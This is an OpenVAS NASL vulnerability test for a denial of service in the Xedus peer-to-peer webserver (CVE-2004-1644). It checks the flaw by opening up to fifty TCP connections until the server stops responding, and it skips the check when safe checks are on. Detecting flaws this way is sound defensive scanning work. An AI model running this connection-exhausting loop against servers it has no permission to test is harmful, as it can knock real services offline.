Xedus Denial of Service

# OpenVAS Vulnerability Test
# $Id: xedus_dos.nasl 6056 2017-05-02 09:02:50Z teissa $
# Description: Xedus Denial of Service
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
# based on Michel Arboi work
#
# Copyright:
# Copyright (C) 2004 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote host runs Xedus Peer to Peer webserver.  This version is vulnerable 
to a denial of service.

An attacker could stop the webserver accepting requests from users by 
establishing multiple connections from the same host.";

tag_solution = "Upgrade to the latest version.";

# Ref: James Bercegay of the GulfTech Security Research Team

if(description)
{
  script_id(14646);
  script_version("$Revision: 6056 $");
  script_tag(name:"last_modification", value:"$Date: 2017-05-02 11:02:50 +0200 (Tue, 02 May 2017) $");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2004-1644");
  script_bugtraq_id(11071);
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Xedus Denial of Service");

 

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_banner");
  script_copyright("This script is Copyright (C) 2004 David Maciejak");
  script_dependencies("xedus_detect.nasl");
  script_family("Peer-To-Peer File Sharing");
  script_require_ports("Services/www", 4274);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}

include("http_func.inc");

if ( safe_checks() ) exit(0);

port = get_http_port(default:4274);
if ( ! get_kb_item("xedus/" + port + "/running")) exit(0);

if(get_port_state(port))
{ 
  soc = open_sock_tcp(port);
  if (! soc) return(0);
  
  s[0] = soc;

  for (i = 1; i < 50; i = i+1)
  {
    soc = open_sock_tcp(port);
    if (! soc)
    {
      security_message(port);
      for (j = 0; j < i; j=j+1) close(s[j]);
    }
    sleep(1);
    s[i] = soc;
  }
  for (j = 0; j < i; j=j+1) close(s[j]);
}
exit(0);